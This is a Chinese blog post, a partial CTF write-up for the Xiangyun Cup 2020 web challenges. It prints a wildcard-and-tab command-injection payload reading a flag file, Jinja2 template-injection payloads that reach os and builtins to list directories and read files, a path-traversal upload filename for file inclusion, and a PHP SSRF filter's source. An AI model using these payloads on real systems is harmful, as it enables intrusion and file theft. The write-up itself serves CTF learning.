祥云杯202部分wp


第一次比赛做出来这么多题,感谢太空人师傅给的很多思路,不得不说,师傅真滴强

签到

base64解码,讲真,这才叫签到题

Command

%09制表符

通配符绕过,payload:?url=||ca\t%09/etc/.findf?ag/f?ag.txt

flaskbot

这个注入点真是,知道是user就是出不来,space man师傅(膜拜大佬)提示猜数字为nan,遂去Google在此记笔记,

NaN, Not a Number, 非数. 它即不是无穷大, 也不是无穷小, 而是python/numpy/… 觉得无法计算时返回的一个符号
详见于此

后面就好说啦,user编码base64,payload可以参考 GYCTF2020-FlaskApp的第一种解法,第二种等buu复现

列目录:{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

flag被ban了,其实os也被ban了,故技重施:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/super_secret_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}

easygogogo

DSACTF2020的gob原题,上传任何文件都不解析,文件名原样保存,show的时候考虑LFI,bp上传文件名为../../../../../flag,上传成功后记下返回的cookie,接着不要点返回,我上午一直没成就是点击返回导致cookie不对劲,在URL修改,然后改cookie,看图片的base即可

doyouknowssrf

开箱送源码:

<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
    $parsed = parse_url($url);// 解析 URL,返回其组成部分
    $validate_ip = true;
    if($parsed['port']  && !in_array($parsed['port'],array('80','443'))){

        echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

        return false;
    }else{
        preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
        $long = ip2long($parsed['host']);
        if($long===false){
            $ip = null;
            if($safe){
                @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
                $ip   = gethostbyname($parsed['host']);
                $long = ip2long($ip);
                $long===false && $ip = null;
                @putenv('RES_OPTIONS');
            }
        }else{
            $ip = $parsed['host'];
        }
        $ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
    }

    if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
        echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

        return false;
    }else{
        return $url;
    }
}


function curl($url){
    $safe = false;
    if(safe_url($url,$safe)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);//需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//TRUE 将curl_exec()获取的信息以字符串返回,而不是直接输出
        curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//FALSE 禁止 cURL 验证对等证书(peer'scertificate)
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);//设置为 1 是检查服务器SSL证书中是否存在一个公用名(common name)。译者注:公用名(Common Name)一般来讲就是填写你将要申请SSL证书的域名 (domain)或子域名(sub domain)。设置成 2,会检查公用名是否存在,并且是否与提供的主机名匹配。 0 为不检查名称。在生产环境中,这个值应该是 2(默认值)
        $co = curl_exec($ch);
        curl_close($ch);
        echo $co;
    }
}

highlight_file(__FILE__);
curl($_GET['url']);

gactf的原题,但是俺不会用呜呜呜


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录